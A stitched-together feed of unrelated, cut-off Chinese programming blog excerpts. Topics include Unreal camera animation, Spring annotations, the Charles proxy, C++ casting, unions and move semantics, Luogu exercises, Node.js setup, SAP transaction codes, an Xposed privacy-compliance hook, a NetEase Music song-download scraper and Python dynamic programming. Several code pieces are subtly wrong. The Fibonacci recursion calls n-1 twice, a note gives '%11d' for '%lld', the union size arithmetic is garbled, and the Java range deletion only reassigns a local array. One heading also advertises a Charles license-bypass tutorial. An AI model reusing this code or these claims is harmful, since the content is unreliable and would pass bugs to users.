可以看到这条曲线运用到轨道上后,摄像机一开始的蓄力加速后面的震荡的惯性都会被表达出来。 同样对于ARC围绕对象的动画也是使用轨道,并且开启了Look At Tracking这个程序动画,两者结合实现比较复杂的摄像机动画。 ARC动画我们还可以使用UE自带的Camera Rig Crane的工具,也就是摇臂来实现。这更加方便点。我们可以调整摇臂的仰角,旋转的角度以及摇臂的长短来控制最终的效果。 什么时候打关键帧 为了减少关键帧的数量,我们要考虑在最关键的时间点去k帧。 什么是最关键的时间点呢?我认为就是在速度突然变化的那个转折点。这个转折点可以是从快的速度突然停止。然后从停止启动突然加速这些点或者说速度的方向发生了改变。 具体例子看视频。 Look At Track 接下来我们看一下程序动画中摄像机的look at tracking,就是朝向对象的这个程序动画的功能及使用。 使用非常简单,只要打开摄像机的look at tracking,并且选择一个要tracking的对象。比如一个绿色的小球,完了以后只要运动这个绿色的小球,摄像机总是跟随它运动。 我们可以在Sequencer里通过k帧修改摄像机tracking的对象。比如我现在tracking的是绿球给它k一帧。然后在接下去的时间点tracking一个灰色小球再k一帧。然后可以看到摄像机视角从绿色的转到灰色的。它是个瞬间转动的过程,所以我们看上去像一个跳板的工程。 但是在实拍当中可能不需要这样的瞬切。我们可以使用Look at Tracking Interp speed。意思就是在转动的过程中有个ease或者缓冲的过程。默认0的情况下就是没有任何缓冲就是瞬间的转动。比如我们给它一个适当的缓冲,再来看下效果。就可以产生这种类似于在两个转向之间k了关键帧,并有一定的曲线连接的过程。 参数越小它的ease或者缓冲的幅度就越大,反之就越小。我们可以用这个功能实现甩镜头的效果。而不必要在两个目标之间k关键帧,并且调整关键帧之间的曲线来实现同样的效果。 另外look at tracking追踪对象始终处于画面的中心,这绝大多数时候是我们不期望的。我们可以调整look at tracking的偏移值,用此来改变构图。它这个方向是基于追踪目标的local space的方向。

什么是SQLite

SQLite是一个进程内的库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。它是一个零配置的数据库,这意味着与其他数据库不一样,您不需要在系统中配置。 就像其他数据库,SQLite 引擎不是一个独立的进程,可以按应用程序需求进行静态或动态连接。SQLite 直接访问其存储文件。

(b)Spring注解式开发,@Value,@Autowired,@Resource注解属性自动装配时的原理和区别

@Value简单类型的注入 属性注入的三种方式 为了简便开发Spring给我们提供了多样化的注入: @Value注解可以出现在属性上,setter方法上以及构造方法的形参上 在简单类型的属性上使用@Value注解完成属性值的注入(可以不提供属性的setter方法) @Component public class User { @Value(value = "zhangsan") private String name; @Value("20") private int age; @Override public String toString() { return "User{" + "name='" + name + '\'' + ", age=" + age + '}'; } } 在简单类型属性对应的setter方法上添加@Value注解完成注入 @Component public class User { private String name; private int age; @Value("李四") public void setName(String name) { this.name = name; } @Value("30") public void setAge(int age) { this.

Charles的下载安装配置大全

这里写自定义目录标题 一、 PC下载安装&配置Charles1) 安装教程2)Charles无限 时长教程 二、安卓机下载ssl证书1.小米手机安装ssl证书2.vivo nex 手机安装ssl证书3.华为 nova 8四、Charles模拟弱网测试1、 标题找到 Proxy 下的 Throttle Setting :2、勾选上 Enable Throttling,并且选择 Throttle Preset 的网络质量,点击OK:3、此时 Charles 左上角的小乌龟亮了,表示已开启弱网环境:4、如果不需要模拟弱网了,把左上角的小乌龟置灰,然后需要设置proxy下的SSL Proxying Setting,勾选上 enable SSL Proxying 即可 五、手机安装的Charles证书过期 要重置证书 一、 PC下载安装&配置Charles 1) 安装教程 1.傻瓜式 安装 一直next next install 2.安装电脑ssl证书 电脑安装了Charles之后,去访问浏览器时会提示,“您的连接不是私密连接” 造成这种问题的原因就是charles等代理工具也拦截了电脑网页的请求,但是使用的是charles代理工具的证书,导致浏览器无法验证此网页的证书,进而导致了报错,那么该如何解决呢? 1) 阻断Charles 拦截网页的请求 取消 Proxy --Windows Proxy 勾选 2) 电脑本地安装 ssl证书 进入Charles的Help中,选择SSL Proxying,然后点击Install Charles Root Certificate。 安装教程 注意 :这一步不是必须步骤,不过多数时候安装好证书以后、浏览器并不能正常访问网页,需要 重启电脑 才可以!! 按照以上的两种方法 ,电脑端就可以正常的访问 浏览器啦 3.配置 Charles Proxy -ssl Proxy setting

C++11---casting

CASTING In c/cpp system, when i talking about casting, i mean ‘type casting’. Since c/cpp being a strongly type language, basically means it has a type system. If you specify a variable as int, you cannot treat it as double or float, for example, and vice versa. which means if we want to covert a variable type - for c/cpp is the underlying language - we need casting system to explictly or implictly.

洛谷入门B2005

#include<stdio.h> int main() { char g; scanf("%c",&g); printf(" %c \n",g); printf(" %c%c%c \n",g,g,g); printf("%c%c%c%c%c \n",g,g,g,g,g); return 0; } 小白的积累:1.%c是单个字符的输出2.打印的字符要在内部调整

vue中用canvas画图,实现动态显示数据生成图片

一.分页生成(每点击下一页则生成下一页的图片,数据多时使用) 1.在页面定义画布(数据不多可不进行分页生成图片) <div id="firebox" > <canvas id="fire" ref="fire1" height="2000" width="700" > </canvas> <button @click="prevPage" style="position: absolute; top: 10px; left: 10px;">上一页</button> <button @click="nextPage" style="position: absolute; top: 10px; right: 10px;">下一页</button> <span style="position: absolute; bottom: 10px; left: 10px;">当前页码: {{ currentPage }}</span> </div> 2.绘制图形的方法 根据数据数量动态增加画布高度 // 计算高度 const height = minHeight + (num - 4) * heightIncrement; ctx.fillRect(0, 0, 700, height); creatfire(num) { const canvas = this.$refs.fire1; const ctx = canvas.getContext("2d"); // 设置背景图片 const backgroundImage = new Image(); // 背景图片的位置 backgroundImage.

C++11 移动语义 (move semantics)

先看代码 #include <iostream> #define PRINT_STRING(x) \ std::cout << #x << " = "; \ x.Print(); \ std::cout << std::endl; class String { public: String() = default; String(const char *string) { std::cout << "Constructor" << std::endl; m_Size = strlen(string); m_Data = new char[m_Size]; memcpy(m_Data, string, m_Size); } String(const String &other) { std::cout << "Copy Constructor" << std::endl; m_Size = other.m_Size; m_Data = new char[m_Size]; memcpy(m_Data, other.m_Data, m_Size); } String(String &&other) noexcept { std::cout << "

Java 中删除线性表(如数组或列表)中指定区间的元素

如果你想在 Java 中删除线性表(如数组或列表)中指定区间的元素,你可以按照以下步骤进行操作: 首先,确定要删除的起始位置和结束位置。例如,假设你有一个整数数组 arr,要删除从索引位置 start 到 end 的元素。 创建一个新的线性表,用于存储删除指定区间后的元素。 使用循环遍历原始线性表中的元素。 如果索引不在要删除的区间内(即索引小于 start 或大于 end),则将该元素添加到新的线性表中。如果索引在要删除的区间内,则跳过该元素,不将其添加到新的线性表中。 最后,将新的线性表赋值给原始线性表,以完成元素的删除操作。 以下是一个示例代码,用于在 Java 中删除线性表(数组)的指定区间: public static void deleteRange(int[] arr, int start, int end) { // 创建一个新的列表来存储删除区间后的元素 List<Integer> newList = new ArrayList<>(); // 遍历原始数组中的元素 for (int i = 0; i < arr.length; i++) { // 如果索引不在要删除的区间内,则将元素添加到新的列表中 if (i < start || i > end) { newList.add(arr[i]); } } // 将新的列表转换回数组,并将其赋值给原始数组 arr = newList.toArray(new int[newList.size()]); // 打印删除区间后的数组,用于验证 System.

el-cascader级联选择器实现懒加载+回显

<el-cascader :props="props"></el-cascader> <script> let id = 0; export default { data() { return { props: { lazy: true, lazyLoad (node, resolve) { const { level } = node; setTimeout(() => { const nodes = Array.from({ length: level + 1 }) .map(item => ({ value: ++id, label: `选项${id}`, leaf: level >= 2 })); // 通过调用resolve将子节点数据返回,通知组件数据加载完成 resolve(nodes); }, 1000); } } }; } }; </script> element官网示例代码。 在lazyLoad可以加上后端的异步请求。 一般会出现以下问题,请求出现两次的问题,数据出现重复。这种问题一般是的node 下的children 属性不为空自己又添加一遍造成的。自己仔细断点调试可以解决的。 还有就是数据回显的问题。

node.js安装及环境配置超详细教程【Windows系统安装包方式】

文章目录 Step1:下载安装包Step2:安装程序Step3:查看Step4:环境配置最后补充: Step1:下载安装包 https://nodejs.org/zh-cn/download/ 根据自己电脑系统及位数选择,我的电脑是Windows系统、64位、想下载稳定版的.msi(LTS为长期稳定版)这里选择windows64位.msi格式安装包。 .msi和.zip格式区别: .msi是Windows installer开发出来的程序安装文件,它可以让你安装,修改,卸载你所安装的程序。说白了.msi就是Windows installer的数据包,把所有和安装文件相关的内容封装在一个包里。此外:它还包含有关安装过程自己的信息。例如:安装序列、目标文件夹路径、安装选项和控制安装过程的属性。.zip是一个压缩包,解压之后即可,不需要安装 下载方式1:官网下载页进行下载 下载方式2:官网首页直接下载 Step2:安装程序 ①下载完成后,双击安装包,开始安装,使用默认配置安装一直点next即可,安装路径默认在C:\Program Files下,也可以自定义修改 ②安装路径默认在C:\Program Files下面,也能够自定义修改,而后点击next(我这里设置我的安装目录为E:\KF\node.js\ 根据自己的需要进行更改。) ③下图根据本身的需要进行,我选择了默认Node.js runtime,而后Next Node.js runtime :表示运行环境npm package manager:表示npm包管理器online documentation shortcuts :在线文档快捷方式Add to PATH:添加到环境变量 ④以下图框中所示,我没有选中,而是直接next ⑤点击Install,进行安装 ⑥点击finish,完成安装 ⑦安装完成后,.msi格式的安装包已经将node启动程序添加到系统环境变量path中,咱们能够查看系统变量进行验证:在【个人电脑】右键→【属性】→【高级系统设置】 ⑧点击【高级】→【环境变量】 ⑨在系统变量中查看【path】,点击【编辑】 ⑩会发现.msi格式的安装包已经将node启动程序添加到系统环境变量path中 Step3:查看 ① 既然已经将node程序添加到全局系统变量中,把咱们能够直接在CMD窗口中任意位置执行node,打开CMD窗口,执行命令node -v查看node版本 【注意:此时是打开CMD窗口,并非在C:\Program Files\nodejs目录下执行node.exe】 ② 最新版的node在安装时同时也安装了npm,执行npm -v查看npm版本 ③ 默认状况下,咱们在执行npm install -g XXXX时,下载了一个全局包,这个包的默认存放路径C:\Users\Administrator\AppData\Roaming\npm\node_modules下,能够经过CMD指令npm root -g查看 ⑤ 一部分经常使用的命令,以下: npm -v:查看npm安装的版本。npm init:会引导你建立一个package.json文件,包括名称、版本、作者等信息。npm list:查看当前目录下已安装的node包。npm ls:查看当前目录下已安装的node包。npm install moduleNames:安装Node模块到本地目录node_modules下。npm install < name > -g:将包安装到全局环境中。npm install < name > --save:安装的同时,将信息写入package.

洛谷入门B2004

#include<stdio.h> int main() { int a,b,c; scanf("%d%d%d",&a,&b,&c); printf("%8d %8d %8d",a,b,c); return 0; }

SyntaxError: invalid syntax报错(python)

这个错误是由于Python代码中存在无效的语法而引起的。要解决这个问题,需要检查代码中的语法错误并进行修复。以下是一些可能导致"SyntaxError: invalid syntax"错误的常见原因: 拼写错误:检查你的代码中是否存在拼写错误,例如变量名、函数名或关键字是否正确拼写。 缺少冒号:Python中的代码块通常需要使用冒号来表示开始,例如if语句、循环等。确保你的代码中所有需要冒号的地方都有加上。 缺少引号:如果你在字符串或字符字面值中漏掉了引号,会导致语法错误。确保字符串被正确引用。 缩进错误:Python使用缩进来表示代码块的层次结构,确保你的代码块缩进正确。通常使用四个空格作为标准缩进。 语法错误:检查是否使用了正确的语法结构,比如在条件语句中是否使用了正确的比较运算符,或者是否正确使用了括号。 异常字符:有时,特殊字符或非ASCII字符可能引发语法错误。检查你的代码中是否存在这些字符并予以修复。

【ESP-IDF篇】搭建ESP-IDF软件开发环境,包括手动命令行和VSCode两种方式

忘记过去,超越自己 ❤️ 博客主页 单片机菜鸟哥,一个野生非专业硬件IOT爱好者 ❤️❤️ 本篇创建记录 2023-09-27 ❤️❤️ 本篇更新记录 2023-09-27 ❤️🎉 欢迎关注 🔎点赞 👍收藏 ⭐️留言📝🙏 此博客均由博主单独编写,不存在任何商业团队运营,如发现错误,请留言轰炸哦!及时修正!感谢支持!🔥 Arduino ESP8266教程累计帮助过超过1W+同学入门学习硬件网络编程,入选过选修课程,刊登过无线电杂志 🔥零基础从入门到熟悉Arduino平台下开发ESP8266,同时会涉及网络编程知识。专栏文章累计超过60篇,分为基础篇、网络篇、应用篇、高级篇,涵盖ESP8266大部分开发技巧。 快速导航 单片机菜鸟的博客快速索引(快速找到你要的) 如果觉得有用,麻烦点赞收藏,您的支持是博主创作的动力。 文章目录 1. 前言2. 手动安装工具链,命令行方式(windows)2.1 下载离线安装器2.2 使用安装器进行安装2.3 认识一下目录文件2.4 helloworld工程示例2.4.1 进入到工程目录2.4.2 配置目标芯片2.4.3 编译工程2.4.4 烧录固件2.4.5 查看串口信息 3. 使用VSCode插件,IDE方式3.1 安装IDF扩展3.2 打开ESP-IDF扩展设置3.3 开始安装工具链3.4 helloworld工程示例3.4.1 找到工程,用vscode打开3.4.2 编译工程3.4.3 烧录固件3.4.4 查看串口信息3.4.5 解决头文件include无法识别问题 3.5 新建项目 1. 前言 ESP-IDF 是乐鑫主推的ESP32的开发框架,旨在协助用户快速开发物联网 (IoT) 应用,可满足用户对 Wi-Fi、蓝牙、低功耗等方面的要求。 Espressif IoT Development Framework https://docs.espressif.com/projects/esp-idf/zh_CN/latest/esp32/get-started/index.html 如需在 ESP32 上使用 ESP-IDF,请安装以下软件: 设置 工具链,用于编译 ESP32 代码;编译构建工具 —— CMake 和 Ninja 编译构建工具,用于编译 ESP32 应用程序;获取 ESP-IDF 软件开发框架。该框架已经基本包含 ESP32 使用的 API(软件库和源代码)和运行 工具链 的脚本;

洛谷入门记录B2001

#include <stdio.h> int main() { long long a, b; scanf("%lld%lld", &a, &b); printf("%lld", a + b); return 0; } 萌新小白的自我总结:1.没有注意ab的精度问题,要用long long类型,而不是int类型。 2.long long类型用scanf函数输入要用%11d。

SAP ABAP 常用事务代码

SAP S4/HANA 版本 事务代码描述备注SE38ABAP编辑器SE39ABAP 分屏编辑器可用于编辑/检查两个程序(可在不同系统间)SE37ABAP函数编辑器SE24ABAP类编辑器SE80ABAP工作台SA38ABAP程序执行仅适用于执行没有SE38权限且没有创建事务码的程序SE11/12ABAP字典维护/显示SCDO变更文档对象创建/修改变更文档对象SE14ABAP字典数据库实用程序当表中有数据且进行表结构更改导致激活不了时,运行此程序调整表结构SE16/SE16N/SE16H常规表显示用于查询表中数据SE16T查找表根据数据元素查找有数据的表名ABAPDOCU显示ABAP关键字文档DBACOCKPITSQL编辑器类似于数据库软件使用SQL语句进行查询DBCO数据库连接维护NATIVE SQLDB02表和索引监控器可监测表占用的内存及服务器资源等SE18BADI定义三代增强定义SE19BADI实现三代增强实现SMODSAP增强管理二代增强定义CMOD增强二代增强实现VOFM例程增强GGB0财务校验增强财务会计凭证校验增强GGB1财务替代增强财务会计凭证替代增强FIBFBTE增强财务会计凭证BTE增强SE63翻译编辑器常用于SMARTFORMS的翻译SE73SAP字体维护常用于创建条形码/二维码对象给SMARTFORMS使用SE78表格图形管理从本地导入图片到SAP系统(SMARTFORMS专用)SE91消息维护SE93事务代码维护SE95修改浏览器用于查询目前所启用的增强点及标准底表的扩展结构STRUST信任管理器常用于证书导入SMICMICM 监控器SEGWSAP Gateway Service BuilderSAP Gateway服务的ODATA建模SLG1应用程序日志:显示日志用于查看消息号详细信息SE01/SE09/SE10传输组织者传输请求的发布及修改等功能SE03传输组织器工具用于请求的解锁及重置修复标志等功能SLXT翻译传输标准数据元素翻译导出请求对象SCC1/SCC1N集团拷贝用于同一服务器不同client的请求传输STMS传输管理系统用于不同服务器之间的请求传输STMS_QA传输管理系统质量保证用于请求传输的审批(需要BASIS配置)SPROSAP配置ABAPER可用于查看用户出口以及某些增强所需要的步骤SPAD假脱机管理打印机设置、SMARTFORMS纸张大小设置SAT(旧版SE30)ABAP程序效率分析ST05SQL跟踪常用于查找底表SHD0事务和屏幕变式指定的标准Tcode做变式SHDB事务记录器BDC录屏时使用SNRO编号范围对象维护给指定对象设置范围(如流水号等)SM04在线用户管理踢用户SM12显示并删除锁SM13管理更新记录查看COMMIT WORK提交的事务日志SM21系统日志SM30调用视图维护表维护生成器生成后使用的TcodeSM34/SE54视图簇维护SM35会话管理常用于LSMW、BDC批导数据后的日志查看SM36计划后台作业用于创建及定义JOBSM37作业选择概览分析JOB日志SM50/SM66工作进程监视器RZ10维护参数文件参数用于设置系统相关的参数,如登录默认的cilent等RZ12维护 RFC 服务器组分配组服务器的线程等分配信息SM59RFC的连接配置SOSTSAP连接发送请求OS01通过 ping 检查 LAN可在客户端执行SAP服务器的PING命令SMARTFORMSSAP智能表格SMARTSTYLESSAP智能表格的字体样式SMW0SAP Web资源库用于上传图片以及其他一些的二进制文件(如上传一些Excel模版,供用户下载到PC端)SOAMANAGERSOA 管理器常用于WebService配置及生成地址SPROXYABAP代理生成常用于PO中间件生成代理的激活及接口逻辑编写、调试SRT_UTILWeb 服务的跟踪实用程序常用于查看WebService接口的错误日志SXMB_MONI集成引擎 - 监控常用于查看PO中间件接口产生的错误日志SXMS_QREG队列注册常用于PO中间件的队列注册并激活SMQR队列清单SMQ2qRFC 监控器(入站队列)SU20维护权限字段SU21维护权限对象SU24基于事务的权限对象检查增加/查看事务码的权限对象(PFCG可自动带出)SU25配置文件生成器的升级工具用于填充事务码的默认权限对象(安装系统后需跑一次)SICFHTTP 服务层次结构维护常用于激活SAP服务SNOTE注释助手用于打NOTE补丁SLICENSESAP许可证管理安装许可密钥ST22ABAP 转储分析ABAP Dump消息日志ICON显示图标常用于ALV报表按钮图标ICON值查询WE02IDoc清单WE09按内容搜索IDocWE11删除IDOCWE19测试工具IDOC测试WE20伙伴参数文件配置逻辑系统的出入站IDOC类型及处理函数WE21端口定义配置发送/接收端的接口WE30IDoc类型的创建WE31IDoc段的创建WE42过程代码,入站创建出入站处理代码WE57为应用程序对象分配消息将出入站函数与IDOC类型/IDOC消息类型关联WE81逻辑消息类型创建IDOC消息类型WE82IDoc类型的分配BD51维护功能模块(内向)注册出入站函数BD87IDoc监控器IDOC错误处理NACEWFMC:初始定制屏幕IDOC调用程序配置LPD_CUST维护快速启动板/IWFND/MAINT_SERVICE激活并维护服务/IWFND/VIEW_LOGSAP Gateway应用错误日志查看/UI2/FLPD_CUSTFiori 快速启动板设计器磁贴配置/UI2/SEMOBJ维护语义对象/$SYNC清空缓存SE16N字段描述修改无效可能原因BDLS转换逻辑系统名称逻辑系统更改后需要更新会计凭证&物料凭证底表字段 注:以"/“开头的事务代码需要加上前缀”/N"或"/O";或者通过SE93进入,无法直接输入事务代码进入。

C++11 union

union union是c++11中的一个关键字, 具体用法看例: #include <iostream> struct Union { union { struct { int a; int b; }; struct { char ch[8]; }; }; }; int main() { Union u{8, 16}; std::cout << "before:" << u.a << "," << u.b << std::endl; u.ch[1] = 'a'; std::cout << "after:" << u.a << "," << u.b << std::endl; return 0; } 在上面的定义中, struct Union只占了8个Byte, 你可能会感到很奇怪,一个int是4个 Byte, 一个char是1个Byte, Union结构体中有2个int和8个char,应该是24+81=16 Byte才对,为什么我说只占了8个Byte呢?因为 struct { int a; int b; }; struct { char ch[8]; }; 这两个结构体被声明在了union关键字中, which means 他们两个结构体共用一块内存

Es6中,resolve()函数的作用

在es6中,resolve()函数是Promise对象的一个静态方法,其作用是返回一个已经成功(resolved)的Promise对象,即已经执行了异步操作并且没有出现错误。 resolve()方法的参数可以是任意类型的值,如果参数是Promise对象的话,则会直接返回该对象;如果参数是一个thenable对象,则会将其转换为Promise对象;如果参数是一个普通的值,则会将其作为成功的结果值,创建一个新的Promise对象并返回。 通过resolve()方法,我们可以更加方便地创建和管理异步操作的Promise链,使代码更加简洁、可读和易于维护。

湖南软件测评公司简析:软件功能测试和非功能测试的联系和区别

一、软件功能测试 软件功能测试旨在验证软件是否按照需求规格说明书的要求正常工作。具体而言,功能测试会对软件的所有功能进行测试,以确保其满足用户的需求和预期。在进行功能测试时,根据需求规格说明书编写测试用例,并在测试环境中逐一验证每个功能是否正常工作。通过功能测试,发现并修复软件中可能存在的功能缺陷,提高软件的质量和稳定性。 二、软件非功能测试 非功能测试与功能测试相辅相成,旨在评估软件在非功能方面的表现。与功能测试关注软件是否按预期工作不同,非功能测试主要关注软件的性能、可靠性、安全性、易用性等方面的特性。常见的非功能测试包括性能测试、压力测试、安全性测试、易用性测试等。通过非功能测试,评估软件在各种场景下的性能表现和稳定性,确保软件在实际使用中能够满足用户的要求。 三、功能测试和非功能测试之间的联系和区别 1、联系 只有通过详细的功能测试,才能确保软件按照需求规格说明书的要求正常工作;只有通过全面的非功能测试,才能评估软件的性能和可靠性。共同之处是无论功能测试还是非功能测试,在测试过程中,都需要编写详细的测试用例,并在测试环境中进行验证。也都需要关注软件的稳定性和安全性,以及对用户友好程度。 2、区别 关注的方面不同。功能测试关注软件的功能实现是否正确,而非功能测试关注软件的性能、可靠性、安全性等方面的特性。因此,在进行功能测试时,我们注重的是功能点的覆盖率和功能实现的准确性;而在进行非功能测试时,则更加注重软件在不同场景下的性能表现和稳定性。

linux--shell编程--文本处理三剑客

前言:正则表达式 正则表达式: 1.基本正则表达式 ^ $ + 3.扩展正则表达式 ? {4,6} | ^ 代表以什么开头 ^root $ 代表以什么结尾 /$ + 代表前面的字符可以出现1次或者N次 a+ -->a aa aaa aaaaaaaaaaaa | 代表或 ? 代表前面的字符可以出现0或者1次 a? -->a * 代表前面的字符可以出现0次或者N次 一.grep/egrep的语法及使用(查找(文本过滤)) [root@web1 lianxi]# df -Th|grep "/$"|awk '{print $6}' 41% [root@web1 lianxi]# df -Th|grep "/$"|awk '{print $((NF-1))}' 41% [root@web1 lianxi]# df -Th|grep "/$"|awk '{print $((NF-1))}'|tr -d "%" 41 [root@web1 lianxi]# num=$(df -Th|grep "/$"|awk '{print $((NF-1))}'|tr -d "%") [root@web1 lianxi]# echo $num

利用python获取网易云音乐的歌曲,原理+代码!简单易懂

关于爬取网易云音乐的歌曲,有一些思路。代码在末尾哦 一般来说,爬取音乐,采取正则表达式或者直接调用API,这里采用API 首先导入需要用到的库 from lxml import etree import requests import json from concurrent.futures import ThreadPoolExecutor 然后我们要知道,要爬取音乐就要先获取到API接口,但是我没有找到官方发布的API, 但是找到了网易云音乐的搜索接口,该接口的 URL 是: search_url = f'https://music.163.com/api/search/get/web?csrf_token=hlpretag=&hlposttag=&s={keyword}&type=1&offset=0&total=true&limit=5' 原理:使用了 requests 库发送 HTTP 请求,通过访问网易云音乐的搜索接口(https://music.163.com/api/search/get/web)来获取搜索结果的 JSON 数据。然后,使用 json 模块解析 json 数据,提取所需的歌曲信息 既然明白了原理,那接下来就好办了 # 创建一个线程池 pool = ThreadPoolExecutor(max_workers=10) # 构造下载链接 url = f'http://music.163.com/song/media/outer/url?id={id}' # 发送下载请求 response = requests.get(url=url, headers=headers).content # 将响应内容写入文件 with open(name+'.mp3', 'wb') as f: f.write(response) # 打印下载完成消息 print(name, '下载完成') # 发送请求获取页面内容 response = requests.get(url=url, headers=headers).text # 使用XPath解析页面 page_html = etree.

c++11计时chrono库使用

c++11 chrono 这是一个c++11提供的标准库,为我们屏蔽了不同的操作系统的底层计时方法,学就完事 basically 用于计时我们自己的程序用时(, 尽管我们之后会学到更好的工具) 当前时间 using namespace std::chrono_literals; // 引入这个namespace, 后面可以直接写"5s" auto start = std::chrono::system_clock::now(); // 记录当前时间 std::this_thread::sleep_for(5s); // 本线程休息5秒 auto end = std::chrono::system_clock::now(); //记录当前时间 std::chrono::duration<float> duration = end - start; // 时间差 std::cout << duration.count() << "s" << std::endl; 不用死记硬背, 用到了直接抄抄改改就行 classTimer class Timer { std::chrono::time_point<std::chrono::system_clock> start,end; std::chrono::duration<float> duration; public: Timer() { start = std::chrono::system_clock::now(); } ~Timer() { end = std::chrono::system_clock::now(); duration = end - start; float ms = duration.

Android应用隐私合规检测实现方案

一、准备工作 1、安装夜神模拟器安卓7.0版本,自带Xposed框架 二、编写Xposed模块 1、在Android Studio新建一个Android App项目 2、在build.gradle中添加xposed的编译依赖 dependencies { compileOnly 'de.robv.android.xposed:api:82' } 3、记得配置阿里云或者jcenter()仓库 4、在AndroidManifest.xml application标签下添加对应属性的设置 <!--告诉xposed框架这是一个xposed模块--> <meta-data android:name="xposedmodule" android:value="true" /> <!--模块描述--> <meta-data android:name="xposeddescription" android:value="隐私合规检测工具" /> <!--模块支持Xposed的最低版本--> <meta-data android:name="xposedminversion" android:value="53" /> 5、新建一个类实现IXposedHookLoadPackage接口的handleLoadPackage方法 public class PrivacyHook implements IXposedHookLoadPackage { @Override public void handleLoadPackage(final XC_LoadPackage.LoadPackageParam loadPackageParam) throws Throwable { if (loadPackageParam.packageName.startsWith("com.sswl")) { XposedBridge.log("PrivacyHook has Hooked!"); //检测mac的获取 Class<?> NetworkInterfaceCls = XposedHelpers.findClass("java.net.NetworkInterface", loadPackageParam.classLoader); XposedHelpers.findAndHookMethod(NetworkInterfaceCls, "getNetworkInterfaces", new XC_MethodHook() { protected void beforeHookedMethod(XC_MethodHook.MethodHookParam param) throws Throwable { super.

IOC概述及其实现原理

什么是IoC? IoC即Inversion of Control,反应过来就是控制反转。啥是控制反转啊?控制反转指的就是将对象的创建权反转给(交给)了Spring,其作用是实现了程序的解耦合。也可这样解释:获取对象的方式变了,对象创建的控制权不是"使用者",而是"框架"或者"容器"。用更通俗的话来说,IoC就是指对象的创建,并不是在代码中用new操作new出来的,而是通过Spring进行配置创建的。 Spring的IoC的底层实现原理 这里先给出结论:Spring的IoC的底层实现原理是工厂设计模式+反射+XML配置文件。 就拿持久层(也即dao层,data access object,数据访问对象)的开发来说,官方推荐做法是先创建一个接口,然后再创建接口对应的实现类。所以,这里,我会以dao层的开发为例来证明Spring的IoC的底层实现原理就是工厂设计模式+反射+XML配置文件。首先,创建一个Userdao接口。 public interface UserDao { public void add(); } 然后,再创建Userdao接口的一个实现类(UserDaoImpl.java)。 public class UserDaoImpl implements UserDao { public void add() { balabala...... } } 这时我们便可发现一个缺点:service层和dao层耦合度太高了,即接口和实现类有耦合(它俩之间的联系过于紧密),一旦切换底层实现类,那么就需要修改源代码,这真的不是一个好的程序设计,好的程序设计应当满足OCP原则(也即开闭原则),即在尽量不修改程序源代码的基础上对程序进行扩展。说到这里,我就不得不稍微讲一下面向对象设计的七大原则了,它不必强记,重在理解。 出现的这个问题该如何解决呢?解决方法是使用工厂设计模式进行解耦合操作。所以,我们需要创建一个工厂类,在工厂类中提供一个方法,返回实现类的对象。 public class BeanFactory { // 提供返回实现类对象的方法 public static UserDao getUserDao() { return new UserDaoImpl(); } } 这样,在service层中调用dao层的核心代码就变为了下面的样子。 UserDao dao = BeanFactory.getUserDao(); dao.add(); 如若这样做,会发现又产生了一个缺点:现在接口和实现类之间是没有耦合了,但是service层和工厂类耦合了。如果真正想实现程序之间的解耦合,那么就需要使用到工厂设计模式+反射+XML配置文件了。所以,我们这里提供一个XML配置文件,并且该配置文件中有如下配置信息。 <bean id="userDao" class="com.meimeixia.dao.impl.UserDaoImpl" /> 然后再来创建一个工厂类,在工厂类中提供一个返回实现类对象的方法,但并不是直接new实现类,而是使用SAX解析配置文件,根据标签bean中的id属性值得到对应的class属性值,使用反射创建实现类对象。 public class BeanFactory { public static Object getBean(String id) { // 1.

python 实现动态规划

动态规划(Dynamic programming) 是一种在数学、计算机科学和经济学中使用的,通过把原问题分解为相对简单的子问题的方式求解复杂问题的方法。 动态规划算法是通过拆分问题,定义问题状态和状态之间的关系,使得问题能够以递推的方式去解决,当前子问题的解将由上一个子问题的解推出。使用动态规划来解题只需要多项式时间复杂度,因此它比回溯法、暴力法等要快许多。 动态规划算法的基本思想是:将待求解的问题分解成若干个相互联系的子问题,先求解子问题,然后从这些子问题的解得到原问题的解;对于重复出现的子问题,只在第一次遇到的时候对它进行求解,并把答案保存起来,让以后再次遇到时直接引用答案,不必重新求解。动态规划算法将问题的解决方案视为一系列决策的结果。 动态规划中的子问题往往不是相互独立的(即子问题重叠)。在求解的过程中,许多子问题的解被反复地使用。为了避免重复计算,动态规划算法采用了填表来保存子问题解的方法,即带备忘录的递归,当需要某个子问题的解时,直接取值即可,从而避免重复计算。 适用问题 符合“一个模型三个特征”的问题。 “一个模型”:指 多阶段决策最优解模型; “三个特征”:分别是最优子结构、无后效性和重复子问题。 (1)最优化原理:如果问题的最优解所包含的子问题的解也是最优的,就称该问题具有最优子结构,即满足最优化原理。 (2)无后效性:即某阶段状态一旦确定,就不受这个状态以后决策的影响。也就是说,某状态以后的过程不会影响以前的状态,只与当前状态有关。 (3)有重叠子问题:即子问题之间是不独立的,一个子问题在下一阶段决策中可能被多次使用到。(该性质并不是动态规划适用的必要条件,但是如果没有这条性质,动态规划算法同其他算法相比就不具备优势。 这类问题的求解步骤通常如下: 初始状态→│决策1│→│决策2│→…→│决策n│→结束状态 (1)划分:按照问题的特征,把问题分为若干阶段。注意:划分后的阶段一定是有序的或者可排序的 (2)确定状态和状态变量:将问题发展到各个阶段时所处的各种不同的客观情况表现出来。状态的选择要满足无后续性 (3)确定决策并写出状态转移方程:状态转移就是根据上一阶段的决策和状态来导出本阶段的状态。根据相邻两个阶段状态之间的联系来确定决策方法和状态转移方程 (4)边界条件:状态转移方程是一个递推式,因此需要找到递推终止的条件 动态规划三要素: (1)问题的阶段 (2)每个阶段的状态 (3)相邻两个阶段之间的递推关系 整个求解过程可以用一张最优决策表来描述,最优决策表是一张二维表(行:决策阶段,列:问题的状态)表格需要填写的数据一般对应此问题的在某个阶段某个状态下的最优值(如最短路径,最长公共子序列,最大价值等),填表的过程就是根据递推关系,最后根据整个表格的数据通过简单的取舍或者运算求得问题的最优解。 经典问题1:斐波那契数列 def fibonacci(n): if n < 2: return n else: return fibonacci(n - 1) + fibonacci(n - 1) def dyna_fibonacci(n): if n < 2: return n else: a, b = 0, 1 for _ in range(n - 1): a, b = b, a + b return b if __name__ == '__main__': t1 = time.

Elasticsearch及ELK使用(二):日志数据采集

